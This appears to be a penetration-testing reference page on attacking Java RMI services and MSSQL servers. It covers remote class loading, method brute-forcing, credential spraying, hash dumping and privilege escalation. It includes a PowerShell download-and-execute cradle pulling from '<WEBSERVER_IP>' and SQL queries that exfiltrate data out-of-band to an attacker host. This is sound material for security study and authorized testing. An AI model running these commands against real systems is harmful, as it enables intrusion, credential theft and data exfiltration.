`Java Remote Method Invocation (Java RMI)` is a set of Java APIs that allows Java objects running on separate `Java Virtual Machines (JVM)` to communicate. In some regards, it can be considered the Java object-oriented equivalent of `Remote Procedure Calls (RPC)`, with the support of transfer of serialized Java classes and a distributed garbage collector.

As stated in the official Java documentation regarding `Java RMI` applications: "A typical server program creates some remote objects, makes references to these objects accessible, and waits for clients to invoke methods on these objects. A typical client program obtains a remote reference to one or more remote objects on a server and then invokes methods on them".

The original implementation of `Java RMI` relied on the `Java Remote Method Protocol (JRMP)` protocol (over `TCP` / `IP`). The `JRMP` protocol is specific to Java and can only be used to make calls from a `JVM` to another. An implementation based on the `Common Object Request Broker Architecture (CORBA)` standard was later implemented to support communications between non-`JVM` components. This implementation rely on the `RMI over Internet Inter-Orb Protocol (RMI-IIOP)` protocol. While older, the `RMI-JRMP` implementation is still actively maintained, more integrated into Java and easier to use than the more complicated `RMI-IIOP` implementation.

The official `TCP` port linked to the `JRMP` protocol (more precisely to the `RMI registry` component used by the protocol) is **1099** while the TCP port usually linked to the `RMI-IIOP` protocol is **1050**.

**While `Java RMI` shouldn't be used in modern applications (and replaced by REST or SOAP web services for inter-process communications), it can still be encountered in legacy or enterprise internal applications.**

**Stub and Skeleton classes**

In `Java RMI`, the client side object, usually simply referred to as the client, communicate through `Stub` classes to server side objects on the `Java RMI` server. The `Stub` classes act as client-side gateway for all requests to remote objects. The remote object's stub instance is what the client will use to make remote method calls to the remote object.

Before `Java Standard Edition (Java SE)` 5, stub classes had to be pre-generated from the compiled code (`.class`) of the server-side class that would be called. This step is no longer required, as the stub classes can now be directly retrieved from the `Java RMI` server.

The `Skeleton` class used to be the server-side equivalent of the `Stub` classes to process all incoming clients requests. Skeletons are deprecated since `J2SE 1.2` (1998).

**RMI registry and invocation process**

The `Java RMI registry` is a naming service that hold information about the remote objects registered by `Java RMI` servers.

The `Java RMI` servers call the `Java RMI registry` to register (remote) object(s) and associate a name with each registered object, an operation known as `binding`. When `Java RMI` clients request a reference to a named remote object, a `lookup` to the `RMI registry` is first performed by the clients to retrieve the remote object associated to the given name. The `Java RMI registry` returns a reference, which correspond to the remote object's `stub` instance, to the client.

The reference / remote object's `stub` instance is then used to call the methods of the remote object. More precisely, each stub contains an instance of the `RemoteRef` interface, used to carry out remote `RMI calls` on the remote object for which it is a reference. As stated in the official Java documentation: "the \[methods of the `RemoteRef` interface] delegate method invocation to the `stub`'s (object) remote reference and allows the reference to take care of setting up the connection to the remote host, marshaling some representation for the method and parameters then communicating the method invocation to the remote host".

The `RMI calls` are conducted using different methods depending of the `Java` version in use:

* Since `Java 2 SDK, Standard Edition, v1.2`, using the (new) `invoke(Remote obj, Method method, Object[] params, long opnum)` method. The `opnum` parameter is a 64-bit (long) integer that represent a hash of the method signature.
* using the (now deprecated) `newCall(RemoteObject obj, Operation[] op, int opnum, long hash)`, `invoke(RemoteCall call)`, and `done(RemoteCall call)` methods. The `hash` parameter is an equivalent to the `opnum` parameter of the new `invoke` method.

The method signatures correspond to a value calculated from the method prototypes (method names, return and parameters' types, and number of parameters).

**In both cases, the signatures of the methods must be known to call the methods as they are not disclosed by the `RMI registry`.**

**Remote class loading**

As stated, `Java RMI` supports the transfer of serialized objects over the network. In order to deserialize any serialized object received (that is transform back the serialized objects to object instances), the `JVM` must have access to the bytecode of the class of the object being deserialized.

Under certain circumstances, remote classes can be loaded by the `JVM` upon reception of a serialized object (as an argument or return value) to a `Java RMI` call, **thus resulting in code execution from the sending `JVM`**. As some methods of `Java RMI` servers can be called by default by unauthenticated users, remote class loading would allow unauthenticated remote code execution on the server hosting the `Java RMI` service, under the security context and privileges of the `JVM`.

The following conditions must be met for remote class loading to be enabled:

* The class to load should not exist locally, that is should not be present in the `CLASSPATH` of the local `JVM`.
* The `SecurityManager` should be enabled on the receiving `JVM`.
* The receiving `JVM`'s `java.rmi.server.useCodebaseOnly` property should be be set to `false`. Since `JDK 7u21` (released in 2013), the `java.rmi.server.useCodebaseOnly` property is set to `true` by default (and was set to `false` in prior releases).

If the conditions for remote class loading are met, the loader will use, when marshalling objects, the codebase `URL` specified in the `annotation` of the object's class to download the definition of the class.

### Network scan

`nmap` can be used to scan the network for `Java RMI` services:

```
# The rmi-dumpregistry and rmi-vuln-classloader NSE scripts are introduced below.
# Only rmi-dumpregistry is included in the default scripts.

nmap -v -p <1050,1098,1099 | PORT(S)> -sV [--script "rmi-dumpregistry or rmi-vuln-classloader"] -oA nmap_javarmi <IP | RANGE | CIDR>
```

### Remote class loading

**Detection**

The `nmap` `NSE` script `rmi-vuln-classloader` and the `Metasploit` module `auxiliary/scanner/misc/java_rmi_server` can be used to check if `Java RMI` servers allow remote class loading.

Note however that the aforementioned tooling are, as of March 2021, [prone to false-positives](https://github.com/rapid7/metasploit-framework/issues/10090) likely due to the original exploit code dating back to before the `JDK 7u21` default configuration hardening.

```
nmap -v -p <PORT> -sV --script rmi-vuln-classloader <IP | RANGE | CIDR>

msf > use auxiliary/scanner/misc/java_rmi_server
```

**Exploitation**

The `Metasploit` module `exploit/multi/misc/java_rmi_server` can be used to exploit `Java RMI` server allowing remote class loading to execute system commands.

In order to be successful, the exploitation requires:

* that the attacking machine can be reached by the `Java RMI` server (to retrieve the class on a webserver hosted by `Metasploit`)
* the `Runtime.getRuntime().exec()` method can be called

Note that `Runtime.getRuntime().exec()` does make use of a shell (such as `/bin/sh`) to deport arguments parsing. Instead it splits the command line in an array of words, with the first word being executed and the others words used as arguments. **In result, shell metacharacters** (| ; & > < etc.) **are not supported by `Runtime.getRuntime().exec()`.**

```
msf > use exploit/multi/misc/java_rmi_server
```

### Enumeration of Java RMI registry bound objects

The remote objects bound in a `Java RMI registry` may be enumerated using the `list()` method of the (deprecated) `java/rmi/registry/RegistryImpl_Stub` class (as implemented by `Metasploit` and `nmap`) or `java.rmi.registry.LocateRegistry` class (as implemented by `rmiscout` and `BaRMIe`).

Note that restrictions may be implemented by the `Java RMI` server to limit the listing of the bound objects (for example to limit listing to calls originating from the local host).

The `nmap` `NSE` script `rmi-dumpregistry`, the `Metasploit` module `auxiliary/gather/java_rmi_registry`, `rmiscout`, and `BaRMIe` can be used to attempt to list the objects bound in a `Java RMI registry`.

The aforementioned tools may return different level of information, with `nmap` and `BaRMIe` attempting to retrieve more data about the remote objects.

```
nmap -v -p <PORT> -sV --script rmi-dumpregistry <IP | RANGE | CIDR>

msf > use auxiliary/gather/java_rmi_registry

java -jar rmiscout.jar <IP> <PORT>

java -jar BaRMIe_v1.01.jar -enum <IP> <PORT>
```

The following Java code snippet can be used as a template to implement a very simple enumerator of `Java RMI` registry bound objects. Usage of the tools above is recommended for a better implementation of error handling.

```java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.RemoteException;
import static java.lang.System.out;

public class SimpleRMIClient {
    public static void main(String[] args) {
        Registry registry;
        try {
            registry = LocateRegistry.getRegistry("<HOST | IP>", 1000);
        } catch(RemoteException re) {
            throw new RuntimeException("Could not connect to remote Java RMI server.");
        }

        System.out.println("Retrieved the registry...");

        try {
            String[] objNames = registry.list();

            for (String objName: objNames) {
                System.out.println(objName);
            }
        } catch(Exception re) {
            throw new RuntimeException("An error occurred will attempting to list the bound objects.");
        }
    }
}
```

### Enumeration of available methods

**Publicly documented classes**

If publicly documented classes are enumerated, the documentation could contain information about dangerous methods that, for example, could lead to filesystem access or system command execution.

`BaRMIe_v1.01.jar`'s `enum` checks for the presence of some `AxiomSL`'s methods allowing access to the underlying filesystem.

**Method's prototypes or signatures bruteforce**

`rmiscout` can be used to bruteforce methods, either by using a wordlist of method prototypes or a permutation of possible method names, return and parameters' types, and number of parameters. The computing method signatures are automatically calculated from the given method prototype.

These bruteforce techniques, while not covering all possible method signatures (2^64 possibilities), will still give a good probability of findings methods (according to statistical analysis of 15,000+ method signatures by `rmiscout`'s author ([@theBumbleSec](https://twitter.com/theBumbleSec)).

In order to check if a method signature is valid with out actually invoking the method, `rmiscout` will deliberately mismatch parameters types to trigger `RemoteExceptions`. The original supplied parameter types will be used but the parameters will have for value a serialized instance of a non existing class (random name). This technique cannot be used for methods which do not take parameters.

**In `RMI-JRMP`, it is thus possible to safely bruteforce methods that take parameters without invoking the methods. On the contrary, bruteforcing methods that do not take input parameters requires to actually invoke the methods, which may induce undesirable effects.**

Enumeration of method signatures for `RMI-IIOP` services while following the same overall principle works a bit differently. More information on the bruteforcing process and differences can be found in the following blog post: `https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout`.

```
# Method names and prototypes can be found in the rmiscout GitHub repository: https://github.com/BishopFox/rmiscout/tree/master/lists
# --allow-unsafe: bruteforce methods that do not take parameters by invoking them.

# Bruteforce using the specified method prototypes wordlist.
java -jar rmiscout.jar wordlist [--allow-unsafe] [-n <REGISTRY_NAME>] -i <METHOD_PROTOTYPES_WORDLIST> <IP> <PORT>

# Bruteforce using the permutations of the given parameters.
# RETURN_TYPES / PARAMETER_TYPES example: String,void,int,long,boolean
# PARAMETER_LENGTH example: 1,5
java -jar rmiscout.jar bruteforce [--allow-unsafe] [-n <REGISTRY_NAME>] -i <METHOD_NAMES_WORDLIST> -r <RETURN_TYPES> -p <PARAMETER_TYPES> -l <PARAMETER_LENGTH_MIN,PARAMETER_LENGTH_MAX> <IP> <PORT>
```

### Java RMI method invocation

With knowledge of their prototypes, methods of remote objects can be invoked. If a `SecurityManager` / (deprecated) `RMISecurityManager` is implemented, the client must have the necessary permissions, as dicted by the `security policy` to conduct the call. Otherwise a `SecurityException` is thrown by the service.

`rmiscout` can be used as a `Java RMI` client to invoke arbitrary methods:

```
# METHOD_PROTOTYPE example: int add(int a, int b)
# Parameters example: -p 2 -p 2
# Parameters array example: -p "a,b,c"

java -jar rmiscout.jar invoke [-n <REGISTRY_NAME>] -s '<METHOD_PROTOTYPE>' [-p <PARAM1_VALUE> [-p <PARAM2_VALUE> ...]] <IP> <PORT>
```

The following Java code snippet can be used as a template to implement a very simple `Java RMI` client to invoke methods of remote objects. While the code below illustrate a remote object method invocation, the use of `rmiscout` should generally be preferred.

```java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.RemoteException;
import static java.lang.System.out;

public class SimpleRMIClient {
    public static void main(String[] args) {
        Registry registry;
        try {
            registry = LocateRegistry.getRegistry("<HOST | IP>", 1000);
        } catch(RemoteException re) {
            throw new RuntimeException("Could not connect to remote Java RMI server.");
        }

        System.out.println("Retrieved the registry...");

        try {
            <CLASS> objInstance = (<CLASS>) registry.lookup("<REMOTE_OBJECT_NAME>");
            System.out.println(objInstance.<METHOD>(<METHOD_PARAMETERS));
        } catch(Exception re) {
            throw new RuntimeException("An error occurred will attempting to invoke the method.");
        }
    }
}
```

**Probe**

### Java deserialization

<https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/>

***

### References

<https://docs.oracle.com/javase/tutorial/rmi/overview.html> <https://docs.oracle.com/javase/8/docs/technotes/guides/rmi/codebase.html> <https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html> <https://docs.oracle.com/javase/7/docs/api/java/rmi/server/RMIClassLoader.html> <https://en.wikipedia.org/wiki/Java\\_remote\\_method\\_invocation> <https://apiacoa.org/publications/teaching/distributed/rmi.pdf> <http://www2.ift.ulaval.ca/IFT-Stage/ateliers/old/RMI/atelierRMI.pdf> <https://www.jmdoudoux.fr/java/dej/chap-rmi.htm> <https://www.clear.rice.edu/comp310/course/rmi/stub\\_passing.html> <https://book.hacktricks.xyz/pentesting/1099-pentesting-java-rmi> <https://itnext.io/java-rmi-for-pentesters-part-two-reconnaissance-attack-against-non-jmx-registries-187a6561314d> <https://null-byte.wonderhowto.com/how-to/exploit-java-remote-method-invocation-get-root-0187685/> <https://docs.oracle.com/javase/7/docs/api/java/rmi/registry/Registry.html> <https://docs.oracle.com/javase/7/docs/api/java/rmi/registry/LocateRegistry.html> <http://www.docjar.com/docs/api/sun/rmi/registry/RegistryImpl.html> <https://github.com/BishopFox/rmiscout> <https://github.com/NickstaDB/BaRMIe> <https://labs.bishopfox.com/tech-blog/rmiscout> <https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout> <https://ctftime.org/writeup/6953> <https://github.com/allesctf/writeups/tree/master/2018/RealWorldCTF2018\\_Finals/RMI>


# 1433 - MSSQL

### PowerUpSQL

[`PowerUpSQL`](https://github.com/NetSPI/PowerUpSQL) is a PowerShell framework that implement cmdlets to discover, enumerate, and exploit `SQL server` instances. A number of usage of the `PowerUpSQL` PowerShell cmdlets presented in this note are inspired from the [PowerUpSQL Cheat Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet).

`PowerUpSQL` can be installed / imported in a number of ways:

```bash
# Permanently installs the framework from the PowerShell Gallery on the local system (requires local administrative privileges).
Install-Module -Name PowerUpSQL

# Imports the module in the current PowerShell session (to be executed in the project directory).
Import-Module PowerUpSQL.psd1

# Inject the PowerShell script in memory (for the current PowerShell session only).
IEX (Get-Content -Raw PowerUpSQL.ps1)

IEX(New-Object System.Net.WebClient).DownloadString("http://<WEBSERVER_IP>/PowerUpSQL.ps1")
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
```

### MSSQL instances discovery

**Through network scans**

`nmap` can be used to scan the network for exposed `MSSQL` instances:

```bash
nmap -v -p 1433 -sV -sC -oA nmap_mssql <RANGE | CIDR>
```

**On the current subnet broadcast domain**

The `PowerUpSQL`'s `Get-SQLInstanceBroadcast` PowerShell cmdlet can be used to discover `MSSQL` instances on the current local network subnet `broadcast domain` using the `System.Data.Sql.SqlDataSourceEnumerator` class (and an `UPD` broadcast request).

```bash
# -UDPPing: if set, additional information will be retrieved through a direct UDP request to the SQL Server Browser service of the discovered instances.
Get-SQLInstanceBroadcast [-UDPPing] -Verbose
```

**Using Active Directory credentials**

If Active Directory domain credentials are known, a list of the domain service accounts referencing in their `ServicePrincipalName (SPN)` a `MSSQL` service can be requested in order to identify the `MSSQL` instances, that make use of the `Kerberos` authentication protocol, within the domain. As the `SPN` for service accounts follow the naming convention `<SERVICE>/<HOST>`, `SPN` starting with `MSSQL` are linked to `SQL Server` instances.

The `PowerShell` cmdlets `Get-ADUser`, of the `Active Directory` module for `PowerShell` and `Get-SQLInstanceDomain`, of the `PowerUpSQL` suite, can be used to conduct the search:

```ruby
# Lists the SamAccountName and SPN of accounts whose SPN contains "MSSQL*".
Get-ADObject -Filter { servicePrincipalName -like "*MSSQL*" } -Properties servicePrincipalName | Select-Object SamAccountName,servicePrincipalName

# Extracts the hostname referenced in the SPNs containing "MSSQL*".
Get-ADObject -Filter { servicePrincipalName -like "MSSQL*" } -Properties servicePrincipalName | Select -Expand servicePrincipalName | Where { $_ -like "MSSQL*" } | ForEach { $_.split('/')[1] }

# Uses the current security context or the specified credentials to enumerate the SQL servers of the AD domain (Service Principal Name matching "MSSQL*").
Get-SQLInstanceDomain -Verbose

runas /noprofile /netonly /user:<DOMAIN>\<USERNAME> powershell.exe
Get-SQLInstanceDomain -Verbose -DomainController <DC_IP> -Username <DOMAIN>\<USERNAME> -password <PASSWORD>
```

**Through the SQL Server Browser service (in black box)**

The `nmap` `MSSQL-info.nse` script attempts to determine configuration and version information from `SQL Server` instances. The script will first gather information by querying the `SQL Server Browser` service (that runs by default on `UDP` port 1434 and provides imprecise version information) and then sending a probe to the instance to conduct response packet analysis.

```bash
nmap --script MSSQL-info --script-args mssql.instance-port=1433 -p 1433 <TARGET>
```

The `metasploit` `auxiliary/scanner/mssql/mssql_ping` module attempts to retrieve similar information:

```bash
msf > use auxiliary/scanner/mssql/mssql_ping
```

### Authentication weaknesses

**Empty password**

Whenever targeting a large number of MSSQL services, the `nmap` nse script `MSSQL-empty-password.nse` can be used to quickly try to connect using the `sa` account and a blank password:

```bash
nmap -v -sT -p 1433 --script=MSSQL-empty-password.nse <HOSTS>
```

**Authentication brute force**

The `Metasploit`'s `auxiliary/scanner/mssql/mssql_login` module and `patator` can be used to brute force credentials for the service.

```bash
patator mssql_login host=<IP> user=FILE0 password=FILE1 0=<WORDLIST_USER> 1=<WORDLIST_PASSWORD> -x ignore:fgrep='Login failed for user'

# The `BLANK_PASSWORDS` option is worth setting to "true".
msf > use auxiliary/scanner/mssql/mssql_login
```

Alternatively, `PowerUpSQL`'s `Get-SQLServerLoginDefaultPw` PowerShell cmdlet can be used to test if the targeted `SQL Server` instance(s) are configured to accept (50+) **known default passwords**:

```
Get-SQLServerLoginDefaultPw -Verbose -Instance '<INSTANCE>'

# Enumerates the SQL servers of the AD domain (Service Principal Name matching "MSSQL*") and attempt the bruteforce of default credentials.
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Get-SQLInstanceDomain -DomainController <DC_IP> -Username <DOMAIN>\<USERNAME> -Password <PASSWORD> | Get-SQLServerLoginDefaultPw -Verbose
```

**Authentication spraying**

A combination of the `PowerUpSQL`'s `Get-SQLInstanceDomain` and `Get-SQLConnectionTestThreaded` PowerShell cmdlets can be used to:

* first enumerate the `SQL Server` instances of an `Active Directory` domain
* then attempt authentication using the current security context or the specified (local or windows) credentials on the discovered instances.

The `Get-SQLInstanceDomain` cmdlet can be replaced by the `Get-SQLInstanceBroadcast` cmdlet to attempt spraying over the `SQL server` instances of the local subnet.

```bash
# Enumerates the SQL server instances and attempt an authentication using the specified credentials.
Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads <15 | THREAD_NUMBER> -username <USERNAME> -password <PASSWORD> | Where-Object {$_.Status -like "Accessible"}

# Enumerates the SQL server instances and attempt an authentication using the current security context.
Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads <15 | THREAD_NUMBER> | Where-Object {$_.Status -like "Accessible"}

# Enumerates the SQL server instances and attempt an authentication using the specified domain credentials.
runas /noprofile /netonly /user:<DOMAIN>\<USERNAME> powershell.exe
Get-SQLInstanceDomain -Verbose -Username '<DOMAIN>\<USERNAME>' -Password '<PASSWORD>' -DomainController <DC_IP> | Get-SQLConnectionTestThreaded -Verbose -Threads <15 | THREAD_NUMBER>
```

### Information gathering and data retrieval

**Interactive command line MSSQL clients**

The `sqsh` Linux utility as well as the `impacket` Python script `mssqlclient.py` can be used to make queries to the database:

```bash
sqsh -U <USERNAME> -P <PASSWORD> -S <IP>:<PORT>

# -db is optional and defaults to "None"
mssqlclient.py [-db <DB_NAME>] <DOMAIN | WORKGROUP>/<USERNAME>:<PASSWORD>@<HOSTNAME | IP>

# Windows authentication using the provided credentials
mssqlclient.py -windows-auth -db <DB_NAME> <DOMAIN | WORKGROUP>/<USERNAME>:<PASSWORD>@<HOSTNAME | IP>

# Kerberos authentication
mssqlclient.py -k -dc-ip <DC_IP> -db <DB_NAME> <DOMAIN | WORKGROUP>/<USERNAME>:<PASSWORD>@<HOSTNAME | IP>
```

**Graphical user interface MSSQL clients**

The `DBeaver` GUI tool can be used to simply access the database content through a graphical interface without the need to know the underlying MSSQL query syntax.

**Automated authenticated reconnaissance**

```bash
Get-SQLServerInfo -Verbose -Instance <INSTANCE>

Invoke-SQLDumpInfo -Verbose -Instance <INSTANCE>
```

**Basic data retrieval queries**

| Description                              | Queries                                                                                                                             |     |                             |
| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | --- | --------------------------- |
| Comments                                 |                                                                                                                                     |     |                             |
| Encoding queries                         |                                                                                                                                     |     |                             |
| Obfuscating queries                      |                                                                                                                                     |     |                             |
| Disable logging mechanisms               |                                                                                                                                     |     |                             |
| MSSQL version                            | `SELECT @@version`                                                                                                                  |     |                             |
| Current database username                | <p><code>SELECT USER\_NAME()</code><br><br><code>SELECT CURRENT\_USER</code></p>                                                    |     |                             |
| Current logged in account                | `SELECT SYSTEM_USER`                                                                                                                |     |                             |
| List the users in the current database   | `SELECT name, create_date, modify_date, type_desc, authentication_type_desc FROM sys.database_principals ORDER BY create_date DESC` |     |                             |
| Users' passwords                         | <p>Using <code>sqlmap</code>:<br><code>sqlmap -D master -T sys.sql\_logins --dump \[...]</code></p>                                 |     |                             |
| Current database                         | `SELECT DB_NAME()`                                                                                                                  |     |                             |
| Databases                                | `SELECT name FROM master.sys.databases`                                                                                             |     |                             |
| List tables of the specified database    | `SELECT TABLE_NAME FROM [<DATABASE>].INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'`                                     |     |                             |
| List columns of the specified table      | `SELECT COLUMN_NAME FROM [<DATABASE>].INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE>' ORDER BY ORDINAL_POSITION`            |     |                             |
| Select all data from the specified table | <p><code>SELECT \* FROM \<TABLE></code><br><br><code>SELECT \* FROM \[\<DATABSE>].<.                                                | dbo | SCHEMA>.\<TABLE></code></p> |

**Dump hashes**

If provided with an user credentials of appropriate DB privileges, the `nmap` `NSE` script `MSSQL-dump-hashes.nse` can be used to dump the password hashes from an `MSSQL` instance in a format suitable for cracking by tools such as `John-the-ripper` / `hashcat`.

```bash
nmap -v -sT -p <PORT> --script=MSSQL-dump-hashes.nse --script-args='mssql.username=<USERNAME>,mssql.password=<PASSWORD>' <IP>
```

**Out-of-band data exfiltration**

| Description | Queries                                                                              |
| ----------- | ------------------------------------------------------------------------------------ |
| DNS request | `SELECT LOAD_FILE(concat('\\\\', (<SELECT_QUERY_ONE_ROW_RESULT>), '.<HOSTNAME>\\'))` |
| SMB request | `SELECT <...> INTO OUTFILE '\\<HOSTNAME>\<SMB_SHARE>\<OUTPUT_FILE>'`                 |

### Privileges escalation

**MSSQL server-level and database-level roles overview**

MSSQL provides a roles mechanism which, similarly to groups in the Microsoft Windows operating system, makes use of security principals that group other principals and define server-wide or database-wide permissions. Permissions are the rights to access and modify the service configuration and databases objects.

`Server roles` have a server-wide scope while `database role` are database-wide in their permissions scope.

There are two types of MSSQL roles:

* `fixed roles`, that have a fixed and defined set of permissions
* `user-defined roles`, that can be manually created and assigned permissions

The following table shows the fixed-server roles and their capabilities:

| Fixed-server role name | Description                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sysadmin`             | Encompasses all other roles and can perform any activity in the server.                                                                                                                                                                                                                                                                                                                                                                                   |
| `serveradmin`          | Can change server-wide configuration options and shut down the server. `serveradmin` can activate and make use of `xp_cmdshell`.                                                                                                                                                                                                                                                                                                                          |
| `securityadmin`        | Manage logins and is granted the `ALTER ANY LOGIN` permission which allows `GRANT`, `DENY`, and `REVOKE` operations on server-level permissions and database-level permissions (for the database the user granted the role has access to). While `securityadmin` can *not* assign user roles (such as `sysadmin` or `serveradmin`), assigning the `CONTROL SERVER` permission can result in privileges escalation to `sysadmin` (process detailed below). |
| `processadmin`         | Can end processes that are running in an instance of SQL Server.                                                                                                                                                                                                                                                                                                                                                                                          |
| `setupadmin`           | Can add and remove linked servers by using `Transact-SQL` statements.                                                                                                                                                                                                                                                                                                                                                                                     |
| `bulkadmin`            | Can run the `BULK INSERT` statement.                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `diskadmin`            | Manage disk files                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `dbcreator`            | Can create, alter, drop, and restore any database                                                                                                                                                                                                                                                                                                                                                                                                         |
| `public`               | Every SQL Server login belongs to the `public` server role. When a server principal has not been granted or denied specific permissions on a securable object, the user inherits the permissions granted to `public` on that object. `public` is implemented differently than other roles, and permissions can be granted, denied, or revoked from the role.                                                                                              |

The following table shows the fixed-database roles and their capabilities:

| Fixed-database role name | Description                                                                                              |
| ------------------------ | -------------------------------------------------------------------------------------------------------- |
| `db_owner`               | Can perform all configuration and maintenance activities on the database and can also drop the database. |
| `db_securityadmin`       | Can modify role membership for custom roles only, create users without logins, and manage permissions.   |
| `db_accessadmin`         | Can add or remove access to the database for Windows logins, Windows groups, and SQL Server logins.      |
| `db_backupoperator`      | Can back up the database.                                                                                |
| `db_ddladmin`            | Can run any Data Definition Language (DDL) command in a database.                                        |
| `db_datawriter`          | Can add, delete, or change data in all user tables.                                                      |
| `db_datareader`          | Can read all data from all user tables.                                                                  |
| `db_denydatawriter`      | Can *not* add, modify, or delete any data in the user tables within a database.                          |
| `db_denydatareader`      | Can *not* read any data in the user tables within a database.                                            |

**Enumerate user's roles and permissions**

```sql
-- Returns the name of the database user name / current security context.
SELECT USER_NAME()
SELECT CURRENT_USER

-- Returns the login identification name, DOMAIN\USERNAME for Windows authentication USERNAME for SQL Server Authentication.
-- If the user name and login name are different, SYSTEM_USER returns the login name.
SELECT SYSTEM_USER
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

-- Is the current user sysadmin or serveradmin.
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT IS_SRVROLEMEMBER('serveradmin')

-- Is the specified user (login name) sysadmin or serveradmin.
SELECT IS_SRVROLEMEMBER('sysadmin', '<USERNAME>')
SELECT IS_SRVROLEMEMBER('serveradmin', '<USERNAME>')

-- Lists the specified user's fixed-database roles.
SELECT u.name, r.name FROM sys.database_role_members AS m INNER JOIN sys.database_principals AS r ON m.role_principal_id = r.principal_id INNER JOIN sys.database_principals AS u ON u.principal_id = m.member_principal_id WHERE u.name = '<USERNAME>';

-- Lists the current users permissions.
SELECT entity_name, permission_name FROM sys.fn_my_permissions(NULL, NULL)

-- Lists the users with the sysadmin role.
exec sp_helpsrvrolemember @srvrolename='sysadmin'
SELECT 'Name' = sp.NAME,sp.is_disabled AS [Is_disabled] FROM sys.server_role_members rm inner join sys.server_principals sp on rm.member_principal_id = sp.principal_id WHERE rm.role_principal_id = SUSER_ID('sysadmin')

-- Lists the users with the sysadmin role or "Control Server" permission
SELECT DISTINCT p.name AS [loginname], p.type, p.type_desc, p.is_disabled, s.sysadmin, CONVERT(VARCHAR(10), p.create_date ,101) AS [created],CONVERT(VARCHAR(10), p.modify_date, 101) AS [update] FROM sys.server_principals p JOIN sys.syslogins s ON p.sid = s.sid JOIN sys.server_permissions sp ON p.principal_id = sp.grantee_principal_id WHERE p.type_desc IN ('SQL_LOGIN', 'WINDOWS_LOGIN', 'WINDOWS_GROUP') AND p.name NOT LIKE '##%' AND (s.sysadmin = 1 OR sp.permission_name = 'CONTROL SERVER') ORDER BY p.name

-- Lists the users' fixed-database role(s) in the current database.
SELECT db_name(), r.[name], p.[name] FROM sys.database_role_members m JOIN sys.database_principals r ON m.role_principal_id = r.principal_id JOIN sys.database_principals p ON m.member_principal_id = p.principal_id;

-- Maps the fixed-database role(s) to the user(s). Taken from https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-role-members-transact-sql?view=sql-server-ver15#example
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id   WHERE DP1.type = 'R' ORDER BY DP1.name;
```

**IMPERSONATE permission**

The `IMPERSONATE` permission allows for the context switching of a SQL statement by impersonating another login or database user. An user granted the `IMPERSONATE` permission can thus elevate its privileges to the ones of the user he is allowed to impersonate, resulting in a potential elevation of privileges.

This permission is implied for the `sysadmin` role for all databases, and the `db_owner` role members in databases that they own. Indeed, impersonation of a login (`EXECUTE AS LOGIN`) grants server level permissions (of the impersonated login) while the impersonation of an user (`EXECUTE AS USER`) only grant permissions at the database level.

The following queries can be used to exploit the `IMPERSONATE` permission:

```sql
-- List the SQL Server logins that can be impersonated by the current user
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

-- Swith the execution context of the session to the specified login. Requires the IMPERSONATE permission on the specified login.
EXECUTE AS LOGIN = '<LOGIN>';
EXECUTE AS LOGIN = '<DOMAIN>\\<LOGIN>';

-- Swith the execution context in the database to the specified user. Requires the IMPERSONATE permission on the specified user.
EXECUTE AS USER = '<USER>';
```

The `Metasploit`'s `auxiliary/admin/mssql/mssql_escalate_execute_as` module and the `PowerShell` cmdlet `Invoke-SQLAuditPrivImpersonateLogin` of the `PowerUpSQL` suite can be used to automate the impersonation of an user having the `sysadmin` role :

```bash
msf5> use auxiliary/admin/mssql/mssql_escalate_execute_as

Invoke-SQLAuditPrivImpersonateLogin -Instance <HOSTNAME | IP>\<INSTANCE> -Username <USERNAME> -Password <PASSWORD> -Exploit
Invoke-SQLAuditPrivImpersonateLogin -Instance <HOSTNAME | IP>\<INSTANCE> -Credential <PSCredential> -Exploit
```

**securityadmin role / "CONTROL SERVER" permission to sysadmin**

The `securityadmin` role or the `CONTROL SERVER` permission can be exploited to gain `sysadmin` access.

Indeed the `CONTROL SERVER` permission can be used to grant the permission to impersonate an user with the `sysadmin` role, such as `sa`. While the `securityadmin` role can *not* assign user roles, the role can be used to create an account and assign it the `CONTROL SERVER` permission.

```sql
-- Is the current user securityadmin / has the "CONTROL SERVER" permission
-- SELECT system_user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID;
SELECT IS_SRVROLEMEMBER('securityadmin')
SELECT HAS_PERMS_BY_NAME(null, null, 'CONTROL SERVER');

-- List users with the securityadmin role
exec sp_helpsrvrolemember @srvrolename='securityadmin'
